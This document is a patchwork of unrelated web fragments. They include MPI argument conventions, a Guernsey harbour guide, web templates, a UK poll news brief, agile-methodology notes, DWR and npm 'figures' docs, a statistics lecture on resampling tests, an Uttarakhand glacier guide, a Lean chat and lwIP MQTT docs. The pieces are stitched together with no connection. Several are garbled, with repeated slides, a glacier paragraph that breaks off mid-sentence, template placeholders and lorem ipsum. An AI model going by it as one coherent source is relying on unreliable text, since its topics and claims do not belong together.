MPI procedures are specified using a language-independent notation. The arguments of procedure calls are marked as IN, OUT, or INOUT. The meanings of these are:
Rationale.
The definition of MPI tries to avoid, to the largest possible extent,
the use of INOUT arguments, because such use is error-prone,
especially for scalar arguments.
( End of rationale.)
MPI's use of IN, OUT, and INOUT is intended
to indicate to the user how an argument is
to be used, but
does not provide a rigorous classification that can be translated
directly into
all
language bindings (e.g., INTENT in Fortran 90 bindings
or const in C bindings). For instance, the ``constant''
MPI_BOTTOM can usually be passed to OUT buffer
arguments. Similarly, MPI_STATUS_IGNORE can be passed as the
OUT status argument.
A common occurrence for MPI functions is an argument that is used as IN by some processes and OUT by other processes. Such an argument is, syntactically, an INOUT argument and is marked as such, although, semantically, it is not used in one call both for input and for output on a single process.
Another frequent situation arises when an argument value is needed only by a subset of the processes. When an argument is not significant at a process then an arbitrary value can be passed as an argument.
Unless specified otherwise, an argument of type OUT or type
INOUT cannot be aliased with any other argument passed to an
MPI procedure. An example of argument aliasing in C appears below.
If we define a C procedure like this,
void copyIntBuffer( int *pin, int *pout, int len ) { int i; for (i=0; i<len; ++i) *pout++ = *pin++; }then a call to it in the following code fragment has aliased arguments.
int a[10]; copyIntBuffer( a, a+3, 7);Although the C language allows this, such usage of MPI procedures is forbidden unless otherwise specified. Note that Fortran prohibits aliasing of arguments.
All MPI functions are first specified in the language-independent notation. Immediately below this, language dependent bindings follow:
``Fortran'' in this document refers to Fortran 90 and higher; see Section Language Binding .


This is the capital of Guernsey and its principal port. It is an attractive little town with its steep cobbled streets and its busy harbour located right in the centre.
Position 49° 27'20"N, 02° 31'31"W (harbour entrance)
Port Control monitors VHF Channel 12. Visitors should call about one hour prior to arrival to receive berthing instructions. One of the port launches normally meets arriving yachts and directs them to a berth.
A red light on the pier at the port entrance indicates large vessels are under way, and only boats of 15 m (49 ft) or less may enter or exit if keeping clear of the main fairways. Do not anchor or berth without the prior permission of the harbour master.
Customs and immigration documents will be handed to you on arrival and these must be completed before anyone goes ashore. The forms should then be handed to a customs officer or deposited in one of the yellow customs boxes. All arriving vessels must clear in at the main harbour in St Peter Port before proceeding to one of the marinas.
For the latest yachtsman's Guide see www.guernseyharbours.gov.gg for all the necessary information.
Last updated July 2016.
This is a ferry port and manoeuvring space is limited, so take especial care when entering or leaving the harbour.
The Victoria marina lock is open approximately 2 hours each side of HW. If arriving outside this time, the harbour launch will direct you to an appropriate holding pontoon. The harbour authorities are well organised here. Having sorted out the boats beforehand, a launch will then lead each boat to a berth when the lock opens and departing boats have cleared the entrance.
If departure time dictates, or your boat is unsuitable for the Victoria Marina (max. length 12.8, depth 1.8m) it is possible to remain in the outer harbour on the Swan pontoons. During the summer, these pontoons are linked to the shore, but they have no water or electricity. Large yachts must contact the Harbour Authorities in advance and they may be able to be berthed in the Queen Elizabeth II marina (after clearing Customs).
Anchoring in Havelet Bay (free) might be a better option if the weather is suitable (not in strong SW'lies).
Last updated July 2016.


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Serving you with sustainably sourced, all-natural, whole foods with personality & creativity is our number one priority!
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{% extends 'imagersite/base.html' %} {% block body %} Welcome to the ImagerSite! We are a cutting-edge and sleek looking website, as you can tell! Here is a random picture {% endblock %}
We are a cutting-edge and sleek looking website, as you can tell!


Poll shows almost one in five Labour voters are considering backing the Tories – The Telegraph
by Anil PanchalWhile ITV’s political debate raised doubts over the earlier polls showing strong resent to the opposition Labour party leader Jeremy Corbyn, the latest story from The Telegraph suggests that Of those who cast their ballot for Jeremy Corbyn in 2017, 17% would now think about supporting the Tories. The news also mentions that the poll figure is three times the amount of Tory voters who would think about switching allegiances to Labour, with just 5% saying they'd vote for Mr Corbyn.
Key quotes
“The Savanta ComRes’ research found that the Conservative Party is current polling at 42% of the vote, the highest lead the polling company has registered since before the last election.”
“The Labour has 31% support, two per cent points lower than when surveyed in the last week’s edition.”
FX implications
The GBP/USD pair showed no immediate response while trading around 1.2925 amid early Asian session on Thursday. However, the news could help the cable recover the recent losses.


(and the context for that information to make sense)
I'll be brief
Just some guy with an opinion.
We help people with ideas for web and mobile applications.
Typically people with no technical knowledge or resources.
We educate them about the whole process and help them along the way however we can.
And we charge them money to do so.
some of this may not make sense yet
Methodologies are a formal way to:
Define everything up front,
figure out how long it will take,
do it.
Pros
|
Cons
|
Figure it out as it happens.
Pros
|
Cons
|
It was defined in 2001*, but the concepts have been around much longer then.
* http://agilemanifesto.org/
This distinction is especially important to a fairly small subset of very particular employers.
Don't put "Agile" on a resume unless you have actual experience with more than one, and if you do, name each one and be prepared for the dreaded "Compare and Contrast" question. If you have no actual experience, just put "Scrum" then when asked about it just say "oh we had a pretty weak implementation and mostly just did standups and used Trello.
(tangent: C resume story)
The primary element of Kanban is about visible representation of project state. Also highly important is respecting each team member's focus by constraining the amount of tasks at any given time (WIP)
At its core, a collection of tools and tactics to optimize developer time and performance, most famously Pair Programming, Continuous Process, TDD
Subjectively speaking, this is clearly the best-known Agile Methodology and the team makeup and artifacts most typically associated with Agile are primarily from Scrum.
On smaller teams, team members can and often do wear multiple hats. The only combination that is strongly frowned upon is someone acting as both Scrum Master and Product Owner, as they tend to represent opposing forces of nature.
A Very Small Subset
In multi-team organizations reps from
each team do standups, "Scrum of Scrums"
Voted "Artifact Most Commonly Associated with Agile", 12 years running
There's a host of related concepts which are often times artifacts of specific Agile methodologies, but tend to be used across many.
The most simple version of an application that solves the problem you think people will pay for you to fix.
Automatically test code (unit tests, style tests, whatever) and if it passes, automatically merge it into the mainline
Source control is a bit outside the scope of this stuff, but if you like to write software, create a github account and figure it out.
Start at http://try.github.io
Also learn how to use your editor of choice with only keystrokes. So. Much. Better.
Also, have an editor of choice.
Continuous Integration taken to it's logical conclusion: If nothing breaks, automatically deploy it.


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The static creator is declared by default by DWR as follows: <creator id="static" class="org.directwebremoting.create.StaticCreator"/>
You don't need to add this line to your dwr.xml because it is already in DWR's internal dwr.xml file.
This creator will retrieve an instance of a class using the getInstance() method (by default) or a user specified method.
You allow DWR to use the static creator to retrieve and remote your beans as follows:
<allow> <create creator="static" javascript="Blah"> <param name="class" value="my.package.Singleton"/> </create> ... </allow>
This remotes my.package.Singleton
to Javascript and gives it the name Blah
so in Javascript when you call Blah.toString(reply)
an instance of my.package.Singleton will be retrieved using the getInstance method. Then the toString() method will be called, and the data returned to the javascript reply function.
Please note that the creator, and javascript attributes are required as well as the param element which indicates which class DWR should retrieve.
The static creator has an optional parameter that will allow you to specify the name of the method that will retrieve an instance of the class (once again getInstance is used by default). Here is an example of this usage:
<allow> <create creator="static" javascript="Blah"> <param name="class" value="my.package.Singleton"/> <param name="instanceMethodName" value="getCustomInstance"/> </create> ... </allow>


{% extends "layout.html" %} {% block page_title %} Fill a vacancy - UJRP {% endblock %} {% block content %} {% include "includes/phase_banner_alpha.html" %} Back Responsibilities Responsibilities Detail the responsibilities and day-to-day tasks associated with this role. {% endblock %}
Detail the responsibilities and day-to-day tasks associated with this role.


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Unicode symbols with Windows CMD fallbacks
Windows CMD only supports a limited character set.
$ npm install --save figures
See the source for supported symbols.
const figures = require('figures');
console.log(figures('✔ check'));
// On real OSes: ✔ check
// On Windows: √ check
console.log(figures.tick);
// On real OSes: ✔
// On Windows: √
Returns the input with replaced fallback unicode symbols on Windows.
All the below figures are attached to the main export as shown in the example above.
Type: string
String where the unicode symbols will be replaced with fallback symbols depending on the OS.
| Name | Real OSes | Windows |
|---|---|---|
| tick | ✔ | √ |
| cross | ✖ | × |
| star | ★ | * |
| square | ▇ | █ |
| squareSmall | ◻ | [ ] |
| squareSmallFilled | ◼ | [█] |
| play | ▶ | ► |
| circle | ◯ | ( ) |
| circleFilled | ◉ | (*) |
| circleDotted | ◌ | ( ) |
| circleDouble | ◎ | ( ) |
| circleCircle | ⓞ | (○) |
| circleCross | ⓧ | (×) |
| circlePipe | Ⓘ | (│) |
| circleQuestionMark | ?⃝ | (?) |
| bullet | ● | * |
| dot | ․ | . |
| line | ─ | ─ |
| ellipsis | … | ... |
| pointer | ❯ | > |
| pointerSmall | › | » |
| info | ℹ | i |
| warning | ⚠ | ‼ |
| hamburger | ☰ | ≡ |
| smiley | ㋡ | ☺ |
| mustache | ෴ | ┌─┐ |
| heart | ♥ | ♥ |
| arrowUp | ↑ | ↑ |
| arrowDown | ↓ | ↓ |
| arrowLeft | ← | ← |
| arrowRight | → | → |
| radioOn | ◉ | (*) |
| radioOff | ◯ | ( ) |
| checkboxOn | ☒ | [×] |
| checkboxOff | ☐ | [ ] |
| checkboxCircleOn | ⓧ | (×) |
| checkboxCircleOff | Ⓘ | ( ) |
| questionMarkPrefix | ?⃝ | ？ |
| oneHalf | ½ | 1/2 |
| oneThird | ⅓ | 1/3 |
| oneQuarter | ¼ | 1/4 |
| oneFifth | ⅕ | 1/5 |
| oneSixth | ⅙ | 1/6 |
| oneSeventh | ⅐ | 1/7 |
| oneEighth | ⅛ | 1/8 |
| oneNinth | ⅑ | 1/9 |
| oneTenth | ⅒ | 1/10 |
| twoThirds | ⅔ | 2/3 |
| twoFifths | ⅖ | 2/5 |
| threeQuarters | ¾ | 3/4 |
| threeFifths | ⅗ | 3/5 |
| threeEighths | ⅜ | 3/8 |
| fourFifths | ⅘ | 4/5 |
| fiveSixths | ⅚ | 5/6 |
| fiveEighths | ⅝ | 5/8 |
| sevenEighths | ⅞ | 7/8 |
MIT © Sindre Sorhus


{{define "title"}}{{.Title}}{{end}} {{define "content"}}
IP Echo is a Golang based tool for displaying your public IP address.
curl https://ip.johnpili.com/json
curl https://ip.johnpili.com/ip
You can checkout the source at https://github.com/johnpili/ip-echo


Guillaume Calmettes
How to compare 2 proportions
Sports teams prefer to play in front of their own fans rather than at the opposing team's site. Having a sell out crowd should provide even more excitement and lead to an even better performance right?
Well, consider the Oklahoma City Thunder (NBA team) in its second season (2008-2009) after moving from Seattle. This team had a win-loss record that was actually worse for home games with a sell out crowd (3 wins and 15 losses) than for home games without a sell out crowd (12 wins and 11 losses) .
| Game outcome? |
Sell out crowd? | ||
| Yes | No | Total | |
| Win | 3 | 12 | 15 |
| Loss | 15 | 11 | 26 |
| Total | 18 | 23 | 41 |
Sports teams prefer to play in front of their own fans rather than at the opposing team's site. Having a sell out crowd should provide even more excitement and lead to an even better performance right?
Well, consider the Oklahoma City Thunder (NBA team) in its second season (2008-2009) after moving from Seattle. This team had a win-loss record that was actually worse for home games with a sell out crowd (3 wins and 15 losses) than for home games without a sell out crowd (12 wins and 11 losses) .
| Game outcome? |
Sell out crowd? | |
| Yes | No | |
| Win | 0.17 | 0.52 |
| Loss | 0.83 | 0.48 |
| Total | 1 | 1 |
$\textrm{Relative risk}=\frac{0.52}{0.17}=3.1$
(3.1 times more likely to win if it is not a sell out crowd game)
Null hypothesis:
There is no association between playing in front of
a sell out crowd and winning/losing a game.
If there was no association between the variables, what would be the probability of observing an association as strong as the one we observed ($RR=3.1$) between the fact that a game is a sell out or not and winning or losing?
To evaluate the statistical significance of the observed
association in our groups, we
will investigate how large the $RR$ in conditional
proportions tends to be just from the random assignment of
outcomes (win or loss) to the explanatory variable groups
(sell out crowd or not).
=> we will do a simulation in which the chances of winning a game is the same
whether it is a sell out or not.
What would be the probability of observing a RR of 3.1 if there was no association between sell out crowd and winning or losing?
=> The probability is very low (only 2.6% of the simulations had such an extreme RR in both directions).
10000 simulations
We have strong evidences supporting the idea that it is less likely for the Oklahoma City Thunder to win when they play in front of a sell out crowd.
What is the true value of how much more likely the Oklahoma City Thunder is to win when there is not a sell out crowd compare to when they play in a packed stadium?
1- Draw a bootstrap sample from the sell out crowd games
2- Draw a bootstrap sample from the non sell out crowd games
3- Compute your statistics (relative risk of the conditional proportions) and store this value.
4- Repeat this process (steps 1-3) 10000 times
5- Determine the $\frac{\alpha}{2}$ and $(1-\frac{\alpha}{2})$ percentiles in your stored result array
What is the true value of how much more likely the Oklahoma City Thunder is to win when there is not a sell out crowd compare to when they play in a packed stadium?
=> The Oklahoma City Thunder are 1.3 to 11 times more likely to win when they do not play in front of a sell out crowd
Are we just going to accept this conclusion?
Why does this NBA team is less likely to win when
there is a sell out crowd?
What could explain this?
There are three possible explanations for this odd finding that the team had a better winning percentage with smaller crowds:
Random chance (but we pretty much ruled it out)
The sell out crowd caused the Thunder to play worse, perhaps because of pressure or nervousness
The sell out crowd did not cause a worse performance, and some other issue (variable) explains why they had a worse winning percentage with sell out crowds
=> In other words, for #3, a third variable is at play, which is related to both the crowd size and the game outcome. (confounding variable)
Two variables are associated
(or related), if
the value of one variable gives you
information about the value of the other variable.
=> When comparing groups, this means that the proportions
or means take on different values in the different groups.
A confounding variable is a variable that is related both to the explanatory and to the response variable in such a way that its effects on the response variable cannot be separated from the effects of the explanatory variable.
Always think critically when you observe a cause-and-effect conclusion.
In an observational study, the groups you compare are "just there", that is they are defined by what you see rather than by what you do.
In an experiment, you actively create the groups by what you choose to do. More formally, you assign the conditions to be compared. These conditions may be one or more treatments or a control (a group you do nothing to).
In a randomized experiment, you use a chance device to make the assignements. The role of the random assignement is to balance out potentially confounding variables among the explanatory variable groups, giving us the potential to draw cause-and-effect conclusions. (e.g.: you flip a coin before a game to assign if this will be sell-out or not)
In a double-blind study, neither the subjects nor those evaluating the response variable know which treatment group the subject is in. (ex: the teams and the statistician do not know if this is a sell out crowd game or not)
The different possible study designs
The UK government’s Cycle to Work scheme allows an employee to purchase a bicycle (up to a cost of $1560) at a significant discount by using tax incentives, provided the bicycle is used for commuting to and from work. The initiative aims to “promote healthier journeys to work and reduce environmental pollution.”
A British researcher, Jeremy Groves, decided to take advantage of this opportunity to buy a new bike (and publish a statistical study about it).
"Bicycle weight and commuting time: randomised trial" - BMJ, (2010) 341:c6801
I purchased a bike at the top end of the cost allowed by the scheme and opted for a carbon frame because it was significantly lighter than my existing bicycle’s steel frame. The wheels were lighter and tyres narrower too. All were factors that made me believe that the extra £950 I had spent would get me to work in a trice.
One sunny morning, I got to work in 43 minutes, the fastest I could recall. My steel bike was consigned to a corner of the garage to gather dust—until I had a puncture. The next day I was back on my old steel bike. I fitted the cycle computer, set off . . . and discovered I had got to work in 44 minutes. “Hang on,” I thought, “was that minute worth £950 or was it a fluke?” There was only one answer: a randomised trial.
Randomized experiment conducted by Jeremy Groves
Research question:
Groves wanted to know if bicycle weight affected his commute to work.
Experimental design:
For 56 days (January to July) Groves tossed a coin to decide if he would bike the 27 miles to work on his
carbon frame bike (20.9lbs) or
steel frame bicycle (29.75lbs).
He recorded the
commute time for
each trip.
What are the observational units? What are the variables? What type/kind of variables are those?
Null hypothesis:
There is no association between which bike is used and
commute time. Commute time is not affected by which
bike is used.
Alternative hypothesis:
There is an association between which bike is used and
commute time. Commute time is affected by which bike is used.
The parameters of interest are:
$\mu_{\mathrm{carbon}}$ = Long term average commute time with carbon frame bike
$\mu_{\mathrm{steel}}$ = Long term average commute time with steel frame bike
H$_0$: $\mu_{\mathrm{carbon}} = \mu_{\mathrm{steel}}$
($\mu_{\mathrm{carbon}} - \mu_{\mathrm{steel}} = 0$)
H$_a$: $\mu_{\mathrm{carbon}}\neq\mu_{\mathrm{steel}}$
($\mu_{\mathrm{carbon}} - \mu_{\mathrm{steel}} \neq 0$)
H$_0$: $\mu_{\mathrm{carbon}} = \mu_{\mathrm{steel}}$
($\mu_{\mathrm{carbon}} - \mu_{\mathrm{steel}} = 0$)
H$_a$: $\mu_{\mathrm{carbon}}\neq\mu_{\mathrm{steel}}$
($\mu_{\mathrm{carbon}} - \mu_{\mathrm{steel}} \neq 0$)
Remember:
The hypotheses are about the association between commute time
and bike used, not just the 56 trips of Groves.
Hypotheses are always about populations or processes, not the sample data.
| Frame type | ||
| Carbon | Steel | |
| Sample size | 26 | 30 |
| Sample mean (min) | 108.34 | 107.81 |
| Sample SD (min) | 6.25 | 4.89 |
The sample average and variability for commute time was higher for the carbon frame bike. Does this indicate a tendency? Or could a higher average just come from the random assignment?
Perhaps the carbon frame bike was randomly assigned to days where traffic was heavier or weather slowed down Dr. Groves on his way to work?
| Frame type | ||
| Carbon | Steel | |
| Sample size | 26 | 30 |
| Sample mean (min) | 108.34 | 107.81 |
| Sample SD (min) | 6.25 | 4.89 |
Is it possible to get a difference of 0.53 minutes if commute time isn’t affected by the bike used?
Yes it’s possible, how likely though?
=> is the observed difference in commute time arising solely
from the randomness in the of the frame type used each day?
Statistic of interest?
The observed difference in average commute time
$d=\mu_{\mathrm{carbon}} - \mu_{\mathrm{steel}}$
We can simulate this study with index cards.
Shuffling assumes the null hypothesis of no association between commute time and bike.
Shuffling procedure
Statistic calculated for each simulation:
difference in mean
($\bar{x}_{\mathrm{carbon}}-\bar{x}_{\mathrm{steel}}$)
How many simulations gave a result as extreme as the
initial statistic?
($\bar{x}_{\mathrm{carbon}}-\bar{x}_{\mathrm{steel}}$)
Note: "as extreme as" in both
directions (2 tailed test)
Upper limit:
$\bar{x}_{\mathrm{carbon}}-\bar{x}_{\mathrm{steel}}\geq0.53$
Lower limit:
$\bar{x}_{\mathrm{carbon}}-\bar{x}_{\mathrm{steel}}\leq0-0.53$
Statistic calculated for each simulation:
difference in mean
($\bar{x}_{\mathrm{carbon}}-\bar{x}_{\mathrm{steel}}$)
10000 simulations
If the mean commute times for the bikes were the same in the long
run, and we were repeating random assignment of the lighter bike
(carbon) to 26 days and the heavier (steel) to 30 days,
a difference at least as extreme as 0.53 minutes would occur in
about 72% of the repetitions.
=> Therefore, we don’t have evidence that the commute times for
the two bikes will differ in the long run.
Have we proven that the bike Groves chooses is not associated
with commute time? (Can we conclude the
null?)
No! A large p-value is not “strong
evidence that the null hypothesis is true.”
It suggests that the null hypothesis is
plausible
=> There could be long-term difference just like we saw, but it
is just very small.
Can we generalize our conclusion to a larger population?
Two Key questions:
Was the sample randomly obtained from a larger population?
No, Groves commuted on consecutive days which didn’t include all seasons.
=> We cannot generalize to all the commute trips
Were the observational units randomly assigned to treatments?
Yes, he flipped a coin to choose which bike to ride each day
=> We can draw cause-and-effect conclusions.
We can’t generalize beyond Groves and his two bikes. A limitation is that this study is not double-blind. The researcher and the subject (which happened to be the same person) were not blind to which treatment (bike) was being used. (Perhaps Groves likes his old bike and wanted to show it was just as good as the new carbon-frame bike for commuting to work.)
Statistic of interest?
The observed difference in median commute time
$d=m_{\mathrm{carbon}} - m_{\mathrm{steel}}$
We can simulate this study with index cards.
Shuffling assumes the null hypothesis of no association between commute time and bike.
Statistic calculated for each simulation:
difference in median
($\mathrm{m}_{\mathrm{carbon}}-\mathrm{m}_{\mathrm{steel}}$)
How many simulations gave a result as extreme as the
initial statistic?
($\mathrm{m}_{\mathrm{carbon}}-\mathrm{m}_{\mathrm{steel}}$)
Note: "as extreme as" in both
directions (2 tailed test)
Upper limit:
$\mathrm{m}_{\mathrm{carbon}}-\mathrm{m}_{\mathrm{steel}}\geq0.17$
Lower limit:
$\mathrm{m}_{\mathrm{carbon}}-\mathrm{m}_{\mathrm{steel}}\leq0-0.17$
Statistic calculated for each simulation:
difference in median
($\mathrm{m}_{\mathrm{carbon}}-\mathrm{m}_{\mathrm{steel}}$)
10000 simulations
I couldn't agree more!!!
You're right, let's compute the $95\%$ confidence intervals of the difference in median between the
times obtained with the carbon frame and the times obtained with
a steel frame
The true value of the difference in median times for Groves to ride the 27mi using a carbon frame bike versus a steel frame bike is in the interval $[-4.82, 4.68]$ min.
=> Zero (the "no difference in median times") is in this interval. So we do not have evidence against the fact that Groves could have obtained the results he obtained if there were no difference in the times it would take for a trip using either bike.
NHST
$\alpha$ confidence intervals
When comparing means between two groups, the null hypothesis is typically H$_0$ ∶ $\mu_1=\mu_2$ or, equivalently, H$_0$ ∶ $\mu_1-\mu_2=0$.
Thus the “Null parameter” is usually equal to zero and we use the difference in means for two samples, $\bar{x}_1 − \bar{x}_2$, as the “Sample statistic”.
If the underlying populations are reasonably normal or the sample sizes are large, we can estimate the standard error (standard deviation of the sampling distribution) of $\bar{x}_1 − \bar{x}_2$ with $SE = \sqrt{\frac{s_1^2}{n_1}+\frac{s_2^2}{n_2}}$, where $s_1$ and $s_2$ are the standard deviations in the two samples.
Note: When we use the samples standard deviations in estimating SE, we need to switch to a $t$-distribution rather than the standard normal when finding a p-value.
For a two-sample $t$-test, you are making the (strong) assumption that your samples are coming from populations normally distributed. You can then compute the ($t$) distribution of the difference in means from 2 samples from these underlying distributions.
To test H$_0$ ∶ $\mu_1=\mu_2$ vs H$_a$ ∶ $\mu_1\neq\mu_2$ (or a one-tail alternative $\mu_1>\mu_2$ or $\mu_1<\mu_2$) based on samples of sizes n$_1$ and n$_2$ from the two groups, we use the two-sample $t$-statistic.
$t=\frac{\textrm{Statistic}-\textrm{Null value}}{SE}$
$t=\frac{(\bar{x}_1-\bar{x}_2)-0}{\sqrt{\frac{s_1^2}{n_1}+\frac{s_2^2}{n_2}}}$
where $\bar{x}_1$ and $\bar{x}_2$ are the means and $s_1$
and $s_2$ are the standard deviations
for the respective samples.
$t=\frac{(108.34-107.81)-0}{\sqrt{\frac{6.25^2}{26}+\frac{4.89^2}{30}}}=0.35$
To test H$_0$ ∶ $\mu_1=\mu_2$ vs H$_a$ ∶ $\mu_1\neq\mu_2$ (or a one-tail alternative $\mu_1>\mu_2$ or $\mu_1<\mu_2$) based on samples of sizes n$_1$ and n$_2$ from the two groups, we use the two-sample $t$-statistic.
$t=\frac{(108.34-107.81)-0}{\sqrt{\frac{6.25^2}{26}+\frac{4.89^2}{30}}}=0.35$
The initial observation is $0.35$ SD away from the center
of the (null) distribution.
Using this $t$-statistic & the degrees of freedom of the
$t$-distribution, we can obtain a p-value by referring to a $t$-statistic table.
If the underlying populations are reasonably normal or the sample sizes are large, we can estimate the standard error (standard deviation of the sampling distribution) of $\bar{x}_1 − \bar{x}_2$ with $SE = \sqrt{\frac{s_1^2}{n_1}+\frac{s_2^2}{n_2}}$, where $s_1$ and $s_2$ are the standard deviations in the two samples.
If the distribution for a statistic follows the shape of a $t$ distribution with standard error SE, we find a confidence interval for the parameter using:
$\textrm{Sample Statistic} \pm t^*\times SE$
where $t^*$ is chosen so that the proportion between −$t^*$ and +$t^*$ in the $t$-distribution is the desired level of confidence.
If the sample size in each group is large:
If the underlying populations are reasonably normal or the sample sizes are large, we can estimate the standard error (standard deviation of the sampling distribution) of $\bar{x}_1 − \bar{x}_2$ with $SE = \sqrt{\frac{s_1^2}{n_1}+\frac{s_2^2}{n_2}}$, where $s_1$ and $s_2$ are the standard deviations in the two samples.
If the distribution for a statistic follows the shape of a $t$ distribution with standard error SE, we find a confidence interval for the parameter using:
$\textrm{Sample Statistic} \pm t^*\times SE$
$SE=\sqrt{\frac{6.25^2}{26}+\frac{4.89^2}{30}}=1.51$
Mean & $95\%$ confidence intervals:
$0.53\pm2\times1.51$
$0.53\pm3.02$
Can't we just get an equation to model the distribution of the sampling distribution of the difference in medians?
NO!!! Remember, the median is a procedure, not the result of a formula, so there is no theorem or formula that can predict what the sampling distribution of the difference in median would look like. There is no two-sample t-test for the median
Using resampling statistic, you are not limited to the
the study of the mean for which
formula and theorems are available.
Using resampling statistic, you can study any statistic that
is relevant to your study, even if if is a very exotic statistic,
since each time you can do a simulation of what the sampling
distribution for this particular exotic statistic would look like.


Every few months, we would meet up at a local coffee shop or house and use that time to catch up since we don’t get to see each other often. But, what always happened towards the tail end of the night is that we would find ourselves in really thought-provoking discussions. Discussions about life, careers, political issues, family, etc, and they were riveting. We always learn so much from each other, and when it was time to go home we felt motivated and excited to take what we had learned and use it in our everyday lives.
The problem was that the conversations only happened every few months, the information was exclusive to those in attendance, and the the lessons and motivations we gained would fade away after a day or two because there was no forum to refer back to them in a concrete way.
As a result, we developed this medium. To provide discussions, stories, lessons, and insight to others in a relatable way.
What does this team member to? Keep it short! This is also a great spot for social links!
What does this team member to? Keep it short! This is also a great spot for social links!
What does this team member to? Keep it short! This is also a great spot for social links!
What does this team member to? Keep it short! This is also a great spot for social links!


Local Preschools
Add New Preschool
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Malham Cove is a large curved limestone formation 0.6 miles (1 km)
north of the village of Malham, North Yorkshire, England. It was formed by a
waterfall carrying meltwater from glaciers at the end of the last Ice Age
more than 12,000 years ago. The water drop was 80 m (260 ft) high and more than 300 m
(980 ft) wide. The water flowing over the waterfall created the curved shape of the
cove because the lip was more heavily eroded than the sides.
Today it is a well-known
beauty spot within the Yorkshire Dales National Park. A large limestone pavement is above the cove.
Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptatibus ipsam rem adipisci enim, obcaecati a iusto, unde quibusdam eius placeat commodi doloribus voluptatum amet soluta hic in dolorem quaerat quam.


Glaciers are basically made up of fallen snow which over the years compresses into large thickened masses of ice which have an ability to move , albiet very
slowly. Uttarakhand is home to many glaciers , 9 major ones in the Garhwal Region and 7 major ones in the Kumaon Region. Some Glaciers also have a mythological angle attached to it like the Chorbari Bamak Glacier where it is believed that Lord Shiva passed on his knowledge to human beings or the Bandarpunch Glacier , where legend states that Lord Hanuman sat with his tail spread out from Hanuman Chatti to Banderpunch. Two of India's biggest and most
famous rivers, the Ganga and the Yamuna originate in the glaciers of Uttarakhand.
Bandar Poonch Glacier
Bandarpoonch is an exquisite peak in the Western Himalayas of North India. It stands at the western edge of the High Himalayan Range where it turns northwest at an altitude of 6316 mtr and is easily accessible with a scenic three-day hike. The Southwest ridge offers a route of moderate difficulty with little technical climbing.
Gangotri Glacier
Gangotri glacier is located in the district of Uttarkashi in the hill state of Uttarakhand. It is one of the most important glaciers in Garhwal region as it
is responsible for feeding the head stream of the holy river Ganga. Gangotri glacier originates at the northern slope of Chaukhamba range. It extends to about 28 Km before terminating at Gaumukh which is 4,000 meters above the sea level. It is here at Gaumukh (meaning "Mouth of a Cow") that the head stream of Ganga begins to flow.
Khatling Glacier
This lateral glacier situated in Tehri district is the source of river Bhilangna. The glacier is surrounded by snow peaks of the Jogin group (6466 m), Sphetic Pristwar (6905 m), Barte Kauter (6579 m), Kirti Stambh (6902 m) and Meru. The moraines on the side of the glaciers look like standing walls of gravel mud.
Doonagiri Glacier
Dunagiri Glacier is one of the important glacier of Dhauli Ganga system of glaciers, where more than 500 glaciers, The magical land of Uttarakhand in India is a treasure house of natural splendor and divine beauty.  There are innumerable tourist destinations in Uttarakhand and the Glaciers are among the major attractions of the region. Dunagiri Glacier is one of the important glaciers in Uttarakhand.
Milam Glacier
Situated on the south facing slope of the main Himalayan range is the 16 km long, Milam Glacier. It originates from the slope of Kohli and Trishul peaks. It
acts as the source for the Milam river and a tributary of the Pindar River.
Pindari Glacier
The Kumaon region in the State of Uttarakhand has unimaginable natural beauty waiting to be discovered! The Himalayan ecology is well conserved here and offers a great retreat for all nature lovers. The trek to the Pindari Glacier is amongst the most favorite of treks in the Kumaon region of the Himalayas. The trail takes you through some of the most spectacular landscape one can ever hope to see. The traditional, remote villages make for a special attraction for any visitor. At the final destination, the Pindari Glacier, one is rewarded with a view that will remain etched in the mind for life!
Sunderdhunga Glacier
Sunderdhunga literally means valley of beautiful stones. Sunderdhunga glacier is situated in the district of Bageshwar within the hill state of Uttarakhand in India. Other famous glaciers of Sunderdhunga valley are Maiktoli Glacier (6, 804 m) and Sukhram glacier and main peaks are Tharkot (6, 100 m), Mrigthuni
(6,856 m), Maiktoli (6, 804 m) and Pawali Dwar (6, 663 m).
Kafni Glacier
Kafni glacier is situated on the left side of pindar valley under majestic mountain Nandakot. This region has its own charm with the solitude it presents. This region is very rich in wildlife. There are no rest houses beyond Dwali and one has to spend nights in tents or caves. Main peaks near the glacier are Nandakot 6860 meters.
Ralam Glacier
Ralam is a beautiful glacier located in Munsiyari tehsil of Pithoragarh district within Kumaon region of the hill state of Uttarakhand in India. This magnificent glacier is situated at an elevation of 2, 290 meters above the sea level near Ralam Dhura at Ralam Khal.
Namik Glacier
The word 'Namik' means a place where saline water springs are present. Namik is a fascinating glacier cradled in the pristine environs of Kumaon Himalayas, within the district of Pithoragarh in the hill state of Uttarakhand in India. The Namik glacier trek is situated on Kumaon Himalayas at an attitude of 3,600
meters. It is 40 km from Munsiyari and situated at the villages of Gogina and Namik.


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/canonical.20ring.20hom.20from.20int.20to.20R.html ---
Does the canonical ring homomorphism from int
to a ring R
already have a name in Lean?
something something int.coe
int.cast
Aah, of course. And do we already know that this is a ring hom?
import data.int.basic universe u instance int.cast.is_ring_hom (α : Type u) [ring α] : is_ring_hom (int.cast : ℤ → α) := { map_add := int.cast_add, map_mul := int.cast_mul, map_one := int.cast_one }
now you know
(Sorry, I got distracted by other stuff.) Anyway, I'm not surprised that it is a 4-liner. It is just that I don't know how to figure out if this is somewhere in mathlib or not...
it is not, but kenny is pointing out that all the theorems are already there
(Sorry, I got distracted by other stuff.) Anyway, I'm not surprised that it is a 4-liner. It is just that I don't know how to figure out if this is somewhere in mathlib or not...
You can check to see if Lean's type class inference system already knows a fact by seeing if you can prove it with by apply_instance
. Of course this does not tell you whether the proof is in mathlib in a file you didn't import yet...
True, I keep forgetting that trick.
I used it extensively over the weekend in the middle of code just to make sure that type class inference was keeping up with what I was trying to do
Just debugging lines which I'd delete after, checking my quotient group instances were working
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


|
lwIP
2.1.3
Lightweight IP stack
|
#include <mqtt.h>
Data Fields | |
| const char * | client_id |
| const char * | client_user |
| const char * | client_pass |
| u16_t | keep_alive |
| const char * | will_topic |
| const char * | will_msg |
| u8_t | will_qos |
| u8_t | will_retain |
| struct altcp_tls_config * | tls_config |
Client information and connection parameters
| const char* mqtt_connect_client_info_t::client_id |
Client identifier, must be set by caller
| const char* mqtt_connect_client_info_t::client_pass |
Password, set to NULL if not used
| const char* mqtt_connect_client_info_t::client_user |
User name, set to NULL if not used
| u16_t mqtt_connect_client_info_t::keep_alive |
keep alive time in seconds, 0 to disable keep alive functionality
